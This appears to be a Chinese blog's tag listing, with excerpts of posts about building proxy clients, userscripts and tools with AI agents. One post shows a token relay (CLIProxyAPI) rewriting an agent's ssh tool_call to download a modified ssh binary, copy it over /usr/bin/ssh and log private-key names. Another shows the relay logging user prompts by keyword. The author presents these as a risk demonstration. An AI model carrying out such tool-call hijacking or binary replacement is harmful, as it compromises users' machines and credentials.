博文

目前显示的是标签为“GPT开发”的博文

自动高亮 GitHub Release 推荐下载 油猴脚本 tampermonkey

图片
前言 感谢 https://linux.do/t/topic/2397675 提供灵感 我在常见的一些多asset项目测试了一下, 效果并不好.  如: https://github.com/2dust/v2rayN/releases https://github.com/MetaCubeX/mihomo/releases https://github.com/XTLS/Xray-core/releases https://github.com/SagerNet/sing-box/releases https://github.com/v2fly/v2ray-core/releases 那么就自己动嘴吧! (对, 不是动手, 是动嘴) 面向GPT开发 Hermes 对接 mimo-v2.5-pro 对于像这样的 github release 下载页面 https://github.com/v2fly/v2ray-core/releases/tag/v5.49.0 设计一个油猴脚本, 根据当前操作系统的信息, 高亮应该下载的那一行.  你自己启动浏览器测试一下 对于这样的 多版本 release 页面, 再测试一下 https://github.com/v2fly/v2ray-core/releases 对于这些页面, 都测试一下 https://github.com/2dust/v2rayN/releases https://github.com/MetaCubeX/mihomo/releases https://github.com/XTLS/Xray-core/releases https://github.com/SagerNet/sing-box/releases 这时, 脚本遇到了一个问题, release页面如果asset太长, 不会自动展开, 需要用户自己点击才会展开. 你能不能在 assets 后面加一个按钮. 当用户自己想办法把 assets 完全展开后, 自己去点这个按钮. TA自己弄出了一个功能, 监听asset列表的变化, 当asset列表发生变化时, 就启动这个查找高亮的算法. 这是意外的收获. 最后处理一下win7的场景. 对于 https://github.com/XTLS/Xray-core/re...

白嫖worker 自建短链服务 Url-Shorten-Worker 变身文件保管站 File Storage 保存到 R2对象存储

图片
前言 之前 我们实现了 Url-Shorten-Worker 变身图床 Image Hosting 把图片转为Base64保存到KV 其实不只保存图片, 也是可以保存各种文件的. pdf啊, zip啊, 等等 都可以的. 那么就会遇到KV保存容量限制的问题. 思路 如果我们把文件保存到 R2 对象存储呢? 面向GPT开发 Hermes 对接 mimo-v2.5-pro Hermes 对接 claude-opus-4.8 把 https://github.com/crazypeace/Url-Shorten-Worker 项目 clone 到本地, 把整个项目学习分析一遍 我要做这样一个新开发, 你与我讨论方案, 不要实施. 开发一个新的系统模式 保存到R2对象存储的文件保管站 file-r2 把图片保存在R2数据库, 把 R2数据库 的链接作为 value, 保存在 KV 用户操作的前端页面保持与 imghost 项目一样 很多细节上的设计, 打磨, 测试, 反复 略. Github https://github.com/crazypeace/Url-Shorten-Worker 简要使用说明 如果你已经参考 以前的教程 搭建了以前的项目. 那么你需要: 更新 worker.js 注意设置  theme: "theme/file-r2-lite", system_type: "file-r2", 再设置5个变量 R2_ACCOUNT_ID        - R2 账户 ID  R2_ACCESS_KEY_ID     - S3 API Access Key ID  R2_SECRET_ACCESS_KEY - S3 API Secret Access Key  R2_BUCKET_NAME       - R2 存储桶名称  R2_PUBLIC_URL        - R2 公开访问 URL, 如 https://pub-xxxx.r2.dev  其实这5个变量, 我比较推荐你与一个有识图功能的AI互动, 来指导你一步一步怎么操作, 如果你搞不懂要点...

极简翻墙客户端(壳) MDPC-my-dream-proxy-client 增强开发 多内核 单outbound

图片
前言 我们已经基于 MDPC实现了 xray, hy2, sing-box 这三个内核的翻墙客户端 如果进一步地, 实现一个像是 v2rayN 那样, 支持多个内核, 在"启用"一个节点之后 , 就自动启动对应的内核呢? 面向GPT开发 开发人员: Hermes 对接 mimo-v2.5-pro 学习基础知识 基于 /home/ubuntu/my-dream-proxy-client/ 这个项目进行开发 你先学习一下这个项目 开发后端  把 配置文件 mdpc-config.yaml.default 的结构改为 listen: 127.0.0.1 port: 18080 log: "" xray:      files-dir: bin/xray/     core-start: "bin/xray/xray run -confdir bin/xray/"     core-test: "bin/xray/xray run -confdir bin/xray/ -test" core1:     files-dir: ""     core-start: ""     core-test: "" 相应的, API 改为 文件操作 — /api/*/files GET    /api/xray/files GET    /api/xray/files/{filename} PUT    /api/xray/files/{filename} DELETE /api/xray/files/{filename} 进程操作 — /api/*/core GET    /api/xray/core/status POST   /api/xray/core/start POST   /api/xray/core/stop POST   /api/xray/core/test 注意 mdpc-config.yaml.default  里面是可以包含多个 翻墙内核结构的, 对于示例来说, 有一个 cor...

在 v2rayN-v7 节点列表 右键菜单 批量计算 证书指纹 pinSHA256

图片
前言 我们已经有了 从客户端查询证书计算pinSHA256的工具 进一步的, 可以在 v2rayN 中调用这个工具 那么, 如果机场提供了多于1条的hy2节点, 需要能批量处理. 面向GPT开发 Hermes 对接 mimo-v2.5-pro 回忆一下 在v2rayN 项目开发 "获取pinSHA256" 的开发过程. 接下来会在此基础上进一步开发 增强开发: 在v2rayN主窗口, 节点列表的右键菜单中, 添加一项 "获取pinSHA256"  支持批量选取多个节点, 右键菜单, "获取pinSHA256" 具体过程为: 批量多个节点, 依次处理, 每次处理1个节点: 1. 节点信息中 传输层安全 是否为 tls 是, 继续; 否, 跳出; 2. 跳过证书验证 (allowInsecure) 是否为 true 是, 继续; 否, 跳出; 3. 调用 hy2-pin-tool 工具获取 pinSHA256, 并保存到节点信息中. Github https://github.com/crazypeace/v2rayN/releases/tag/v7.22.5-pin-sha256 演示视频 https://www.youtube.com/watch?v=eRpVxdrW0X8

基于 极简翻墙客户端(壳) MDPC-my-dream-proxy-client 配合 sing-box 内核 支持 anytls 协议

图片
前言 前面我们 基于MDPC-my-dream-proxy-client 很容易实现了一个 hy2 翻墙客户端(壳) 再来试试 sing-box 和 anytls 协议 面向GPT开发 开发人员: Hermes 对接 mimo-v2.5 学习知识 把 https://github.com/SagerNet/sing-box 按最新的 release tag clone一份本地代码. 不要放tmp, 未来要进一步分析. 是长期任务. 分析 sing-box 的使用方法, 配置文件用什么格式 用怎样的命令形式启动 sing-box 内核 有没有测试 配置文件 是否合法的 sing-box 命令? 这是 sing-box 的文档 https://sing-box.sagernet.org/  对照 你的分析, 进行对比验证 把你的分析结论保存为 .md 文件 我要使用 sing-box 的 anytls 协议 你分析源码找到应该如何使用, 包括服务端 和 客户端 另存为一份 .md 文件 开发 - 基本功能 基于 /home/ubuntu/my-dream-proxy-client/ 这个项目进行开发 你先学习一下这个项目 现在要继续 开发支持 sing-box 内核 支持 anytls 协议  参考以下分析报告 - ~/repos/sing-box/ANALYSIS.md — 项目分析(配置格式、启动命令等) - ~/repos/sing-box/ANYTLS.md — AnyTLS 使用指南 先不要实施编码, 先和我讨论设计思路 sing-box 也是独立实例 API 端口 18280 sing-box 配置文件 多文件同目录 启动命令 sing-box run -C confdir/ 确定每个配置文件中只有一个json块,  比如, inbound.json 里面只有 inbound ,  outbound.json 里面只有 outbound 类似 xray 的处理方式, 对每个 json 配置文件, 都有一个HTML页面. 先只实现JSON文本编辑框, 表单以后再设计. 测试和调试 略 功能类的测试, 先让Agent自己搭环境测试, 遍历各种组合环境. 最后再由人上手. UI设计, 操作逻辑, 这些由人设计, 由人测试, ...

在 v2rayN-v7 中 "获取pinSHA256"按钮 调用hysteria2-pinSHA256-tool工具

图片
前言 我们已经实现了一个  hysteria2-pinSHA256-tool 小工具来查询 hysteria2节点自签证书的pinSHA256 现在我们将这个算法合并到 v2rayN 项目 面向GPT开发 Hermes 对接 mimo-v2.5  我要从客户端侧 得到 自签证书的 hysteria2 节点的 pinSHA256 核心算法参考 https://github.com/crazypeace/hysteria2-pinSHA256-tool/ v2rayN 的功能入口 我想设计在附件图片中红色文本框指示的位置 用的方案是调用QUIC库. 进展不顺利, 在不同的平台, 使用的QUIC库不一样. linux 用libmsquic,  win 用 msquic.dll * 不排除我用的AI比较蠢的原因. 我只是实事求是的描述我遇到的困难. 后来采用的方案是, 直接调用 hysteria2-pinSHA256-tool 工具的可执行文件. Github https://github.com/crazypeace/v2rayN/releases/tag/v7.22.5-pin-tool 操作演示

基于 极简翻墙客户端(壳) MDPC-my-dream-proxy-client 配合 Hysteria 内核 支持Hysteria2协议 自签证书指定证书指纹pinSHA256

图片
前言 前面我们实现了一个 配合xray内核 reality协议 的 极简翻墙客户端(壳) MDPC-my-dream-proxy-client   如果我们想 配合 Hysteria 内核呢?  (只为了简单演示, 所以只处理自签证书的情况) 分析 根据 my-dream-proxy-client项目 (下称MDPC)的设计, MDPC的配置文件参数为: listen:  port:  files-dir:  core-start:  core-test:  log:  我们可以填上 hy2 对应的信息, 如: listen: "127.0.0.1" port: "18180" files-dir: "./bin/hy2/" core-start: "bin/hy2/hysteria client -c bin/hy2/config.yaml" core-test: "" log: "" 这样后端就好了. * 是不是很简单! 接下来就是创造前端的HTML, 用来生成hy2客户端配置文件的yaml文本 可以先从简单的YAML文本编辑框作为基础功能. 然后再加表单. 开发过程 Github https://github.com/crazypeace/my-dream-proxy-client 使用方法 见 Github 项目 README.md https://github.com/crazypeace/my-dream-proxy-client/blob/main/README.md#my-dream-proxy-client-使用手册-配合hysteria内核 ======== 后记 本次开发由 hermes 对接 mimo-v2.5-pro

hysteria2-pinSHA256-tool从客户端计算hysteria2节点自签证书的pinSHA256填写到v2rayN-v7的hysteria2节点中

图片
前言 之前, 我们 通过v2ray客户端计算hysteria2节点自签证书的 pinSHA256(base64) 现在xray需要pinSHA256(hex) 解决方案 https://github.com/crazypeace/hysteria2-pinSHA256-tool 使用方法 hy2-pin-tool.exe IP:PORT 取 hex 的结果 Win amd64 环境下 v2rayN 的具体操作流程 从  https://github.com/crazypeace/hysteria2-pinSHA256-tool/releases 下载 执行 hy2-pin-tool.exe hy2节点的IP : hy2节点的PORT 注意 hex 结果 v2rayN 编辑 hy2 节点, 点击 "证书未设置" 右边的3个点 把 hex 结果填写到 "证书指纹(SHA-256)" 就行了. 操作视频

做一个你自己的 翻墙客户端(壳) 以xray内核 reality协议为例 MDPC-my-dream-proxy-client

图片
前言 你可能在使用一个没有可用的翻墙客户端的平台. 你可能觉得目前能找到的翻墙客户端太大, 太笨重了, 你用不到那么多功能, 用不到那么多协议. 你可能看到了某个翻墙内核新出了一个协议, 而你手里的翻墙客户端还没有支持. 你可能就是手痒, 想自己搓轮子. 那么你可以做一个你自己的 翻墙客户端 思路 考虑到翻墙内核都是用go语言, 那么我们的翻墙客户端也用go. 这样, 内核能跑的平台, 客户端也能跑. 客户端的GUI界面部分, 考虑到覆盖尽量广的平台, 以及方便用户自己修改调整界面元素, 用HTML. 探索 以  xray 翻墙内核 + reality协议 为例 启动一个 hermes , 对接 mimo-v2.5.  设计工作从这样的对话开启 我们来分析一个翻墙客户端(壳)的设计方案. 基于xray内核 考虑到覆盖尽可能广的平台, 翻墙客户端的后端基于 go 语言 考虑到方便用户自定义界面, 翻墙客户端的界面基于 HTML 你觉得如何? 很多细节和反复拉扯的部分在此省略. 只记录一些最终保留的重要设计思路 前后端功能设计 后端只负责替换配置文件 和 启/停翻墙内核 前端将配置文件的全量文本发给后端 前后端API设计 配置文件操作 — /api/files GET    /api/files GET    /api/files/{filename} PUT    /api/files/{filename} DELETE /api/files/{filename} 进程操作 — /api/core GET    /api/core/status POST   /api/core/start POST   /api/core/stop POST   /api/core/test 设计前端时, 为了简化, 预设以下一些约束条件 后端的配置文件只会有这一些, 只会少, 不会多. 01-log.json        # log 02-dns.json        # dns 配置 03-router.json...

收集 独树不成林 播客末尾的 byebye~~~

图片
与Hermes对话 我们先来讨论一下做这件事情的方案.  有这么一个播客, rss feed是 https://feed.xyzfm.space/y9qnpfdrctnx   下载这个播客的每一期音频, 分析音频末尾的 byebye~~~~ 并截取下来.   注意, 不是每一期的末尾都有 byebye~~~~ Hermes对接的模型是 mimo-v2.5-pro (我觉得mimo-v2.5应该也干得来这个任务) 已总结成SKILL https://github.com/crazypeace/hermes-skill-moaco-podcast-byebyeee-extraction/tree/main/skill   截止2026-06-01已上传 https://github.com/crazypeace/hermes-skill-moaco-podcast-byebyeee-extraction/tree/main/clips ======== 相关推荐 《下载 独树不成林 播客的全部封面 并做成 电报telegram 贴纸sticker》

Xray-Reality脚本支持环境变量设置参数

图片
前言 原来, 我的 Xray-Reality极简一键脚本 是支持带参数运行的. 如, bash <(curl -L https://github.com/crazypeace/hy2/raw/main/install.sh) 4 8443 有FQer反馈, 说自己用的是nat机, 出入IP不一样, 需要人工控制IP的功能. 分析 问题来了.  我当初设置带参数的功能时, 为了"简洁", 没有设置 -p 8443 这样的形式.  这就导致脚本的参数的意义是与顺序绑定的. 为了不影响现有的脚本用法, 我只想到一个解决方案, 那就是用环境变量来设置参数. 实践 面向GPT开发 增强这个脚本, 增加功能: 当定义了环境变量 _MYIP_ 时, 根据 _MYIP_ 来设置 netstack 是4还是6, 用 _MYIP_ 设置 ip 当定义了环境变量 _MYPORT_ 时,  用 _MYPORT_ 设置 port, 默认值 与原脚本中的逻辑保持一致 当定义了环境变量 _MYDOMAIN_ 时,  用 _MYDOMAIN_ 设置 domain, 默认值 与原脚本中的逻辑保持一致 当定义了环境变量 _MYUUID_ 时,  用 _MYUUID_ 设置 uuid, 默认值 与原脚本中的逻辑保持一致 当定义了至少一个环境变量后, 参数就被忽略, 以环境变量为准 Github https://github.com/crazypeace/xray-vless-reality ======== 后记 本次用到的GPT是 网页版免费账号Claude

token中转站 返回tool_call 让agent 下载 修改过的ssh客户端 替换掉系统中的ssh客户端

图片
前言 之前我们实验了 中转站按关键字保存用户发送的信息 有人会问了, 如果我用ssh密钥登录.  确实, 如果用ssh密钥登录, 不管是发给模型的信息, 还是模型 tool_call 的内容, 都不涉及密钥. 灵感 那么, 如果我们通过中转站hack掉 tool_call 的流程呢? 分析 先来一次 ssh密钥登录并执行命令 然后分析底层流程和日志, 看到底发生了什么 思路 如果我们在返回 tool_call 的时候, 在 ssh -o StrictHostKeyChecking=no root@1.2.3.4 'ls -la' 的前面加上  下载修改过的ssh && 替换系统中的ssh &&  也就是说, tool_call 的内容变成 下载修改过的ssh && 替换系统中的ssh && ssh -o StrictHostKeyChecking=no root@1.2.3.4 'ls -la' 我们已经实验了 修改并编译自己的ssh客户端   实践1 面向GPT开发 分析代码 https://github.com/router-for-me/CLIProxyAPI  如果要在模型返回 tool_call 时做关键字监控和记录日志, 应该修改哪些地方 经过一些细节调试 略 最终效果 在模型输出  ssh 时, 替换为  echo '调用了ssh' >> /root/cpa-outbound.log && ssh 效果  实践2 进一步地, 将ssh替换为 wget https://github.com/crazypeace/openssh-portable/releases/download/build-9/ssh && cp ./ssh /usr/bin/ssh && ssh 效果 可以看到, ssh客户端被替换了. 在运行ssh客户端时, 打印了私钥文件名到日志文件. 能替换ssh客户端已经足够说明事情的严重性了, 这个修改过的ssh客户端要把私钥文件传到某个服务器是完全可行的. ======== 后记 本文中, 只实现了非常简单的用中转站hack掉to...

Linux.do 论坛插件 替换 遵守论坛准则 为 website 域名 油猴脚本

图片
前言 Linux.do 论坛 发贴时, 如果贴文中带了外站链接, 那么审核要求外站链接页面上要链接 Linux.do 论坛. 如果贴文中带了Github链接, 那么审核要求项目主页 README.md 链接 Linux.do 论坛. 思路 在发布时, 贴文正文中用  遵守论坛准则  替换掉自己的博客域名. 如: 在发布成功之后 , 浏览页面时, 用油猴脚本 将  遵守论坛准则  替换为用户的 网站域名 . 最终效果是 Github https://github.com/crazypeace/linux_do_replace_keyword 演示效果 你可以安装了上面这个油猴脚本后, 打开这个帖子看看效果. https://linux.do/t/topic/2129780 开发过程 一开始, 我想到这是基于网页开发油猴脚本, 所以我使用 Antigravity. 但是遇到一些问题.  Antigravity 时不时地说模型忙, 什么结果也不返回.  我切换了不同的模型, 最终是用 Gemini-3-flash 磕磕绊绊完成了第一版 我最初想到的是, 点击页面中的楼主的头像, 弹出来的浮动框中, 找到 网站域名 脚本的内容比较复杂, 要实现  点击, 然后等待弹出的浮动框显示出内容, 再抓出想要的字段. 做出来 第一版之后, 把脚本发给网页版chatgpt, 问有什么是可以可改进的? 得到了很好的改进意见. 基于Discourse论坛, 如果要得到用户的信息, 可以通过访问  /u/{username}.json  最终版脚本的内容 清晰 简洁. https://github.com/crazypeace/linux_do_replace_keyword ======== update 增加 G站 替换为 https://github.com 演示  https://linux.do/t/topic/2190832

token中转站记录关键字信息

图片
需求 当用户输入"帮我SSH登录"时, 让token中转站记录上下文信息 以 CPA 中转站 项目为例 搭建一个能编译成功的源码环境 安装Go环境 去 https://go.dev/dl/ 可以找到下载和安装的命令 clone 指定tag v6.10.8 的 CPA git clone https://github.com/router-for-me/CLIProxyAPI.git cd CLIProxyAPI git checkout v6.10.8 下载依赖 go mod download 编译 go build -o cli-proxy-api ./cmd/server 检查有新生成的 cli-proxy-api  文件 搭建一个能正常使用的中转站 用 官方建议的一键安装 命令 curl -fsSL https://raw.githubusercontent.com/brokechubb/cliproxyapi-installer/refs/heads/master/cliproxyapi-installer | bash 更多的复杂设置, 比如想套域名, 可以参考这一份教程 https://zelikk.blogspot.com/2026/03/cpa-cliproxyapi.html 替换主程序为自己编译的版本 检查版本号 面向GPT开发 分析 这个项目 https://github.com/router-for-me/CLIProxyAPI  如果我要对 用户提交到模型的内容进行关键字分析和记录日志, 应该怎么修改 更多细节调整 略 实现了最简单的演示功能: 监控关键字 "帮我SSH登录" 记录到 /root/cpa.log 效果 与agent的对话 /root/cpa.log 文件内容 ======== Github https://github.com/crazypeace/CLIProxyAPI/tree/feature/keyword-filter-simple ======== 后记 用到的AI kilo免费的tencent/hy3-preview:free

The Hot3 in Last 7 Days

酒馆SillyTavern 玩英文角色卡 也能以中文输出 设置世界书Lorebooks

白嫖worker 自建短链服务 Url-Shorten-Worker 显示短链的二维码QRcode